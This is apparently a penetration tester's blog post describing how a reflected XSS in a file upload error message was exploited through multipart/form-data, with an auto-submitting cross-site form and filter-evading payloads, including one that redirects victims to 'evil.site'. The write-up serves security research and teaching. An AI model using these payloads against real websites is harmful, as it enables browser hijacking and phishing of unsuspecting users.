A Tricky Case of XSS

On a recent test I came across a reflective XSS condition within a file upload page. When the extension was deemed invalid by the application, it was returned unsanitised within the error message. Not only did this turn out to be an exercise in exploiting reflective XSS in multipart/form-data but there were some pretty hefty restrictions on allowed characters too. Worthy of a post I thought.

XSS in multipart/form-data

An example of a malicious payload contained something like:

Content-Disposition: form-data; name="file"; filename="test.<img src=a onerror=alert(1)>"

This produced a response that included:

File Upload failed: "File extension '<img src=a onerror=alert(1)>'

Of course, normally reflective XSS in POST is exploited by a form that auto-submits through JavaScript. But this one was a bit trickier – how can you replicate the multipart/form-data structure? When you begin to experiment with this you soon find some difficulties – for example, submitting a filename when no file was actually chosen by the victim user. An XHR request could compose the request but then you run into the Same Origin Policy. In this case there was no wide-open CORS policy to allow me to process the response from the request. Besides which, this wouldn’t allow me to run script in the context of the target domain in the usual way of XSS; it merely allows me access to the response, which restricts the impact.

I finally found a big hint courtesy of a CSRF article here. My proof of concept payload was as follows:

<form name="xss" method="post" action="http://domain.site/upload.page" enctype="multipart/form-data">
<textarea name='file"; filename="test.<img src=a onerror=alert(1)>'>
File Contents Didn't Matter Here
</textarea>
<input name="action" value="fileupload"/>
<input type="submit" name="" value="" size="0" />
</form>
<script>document.xss.submit();</script>

This produced the following POST body:

-----------------------------7de21b3079c
Content-Disposition: form-data; name="file"; filename="test.<img src=a onerror=alert(1)>"

File Contents Didn't Matter Here
-----------------------------7de21b3079c
Content-Disposition: form-data; name="action"

fileupload
-----------------------------7de21b3079c--

Note how the filename attribute of the request is sneaked in by means of the form’s textarea name. The request is missing the normal multipart/form-data Content-Type header but I didn’t need it so I didn’t pursue that any further.

And now for the caveats! I tried this on Chrome, Firefox and IE10 and it only worked on IE – the other two added escape characters that broke the payload. Also, you may be thinking “why the img onerror? Why not good old <script>…</script>?” The / character caused issues – presumably because it was interpreted as a delimiter for directories (remember, this is a file upload page). The \ character posed similar issues. And so did ‘ for obvious reasons – it terminates the textarea name value too early. A ” was fine so long as it was injected as \”. Finally a . was treated as an extension delimiter so everything to the left of the right-most . was lost in the response (because the error returned the extension, not the full filename). So what does all that mean for a more interesting payload?

alert(1) is lame

I always try to put something of value in a XSS payload and alert(1) shows nothing. Even alert(document.cookie) proves that JavaScript can access session cookies when they’re not HttpOnly. But with / \ ‘ and . being consumed by the page, what could I do? I got into an email conversation with two NCC colleagues, Gareth and Soroush (@irsdl), and after some to-ing and fro-ing they came up with:

<textarea name='file"; filename="test.<img src=a onerror=document&amp;#46;location&amp;#61;&amp;#34;http:&amp;#47;&amp;#47;evil&amp;#46;site&amp;#34;>'>

The browser decodes this once (&amp; becomes &) to send:

Content-Disposition: form-data; name="file"; filename="test.<img src=a onerror=document&#46;location&#61;&#34;http:&#47;&#47;evil&#46;site&#34;>"

Back comes the HTTP response with:

<img src=a onerror=document&#46;location&#61;&#34;http:&#47;&#47;evil&#46;site&#34;>

Which decodes to:

<img src=a onerror=document.location="http://evil.site">

And this of course redirects the browser immediately to evil.site, where some kind of exploitation or phishing could be undertaken. Job done.

This was one of the trickiest XSS injections I have come across. Hopefully you found something new here and you can add a couple of new XSS payloads to your arsenal.

One thought on “A Tricky Case of XSS

Leave a Reply

Your email address will not be published. Required fields are marked *


*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>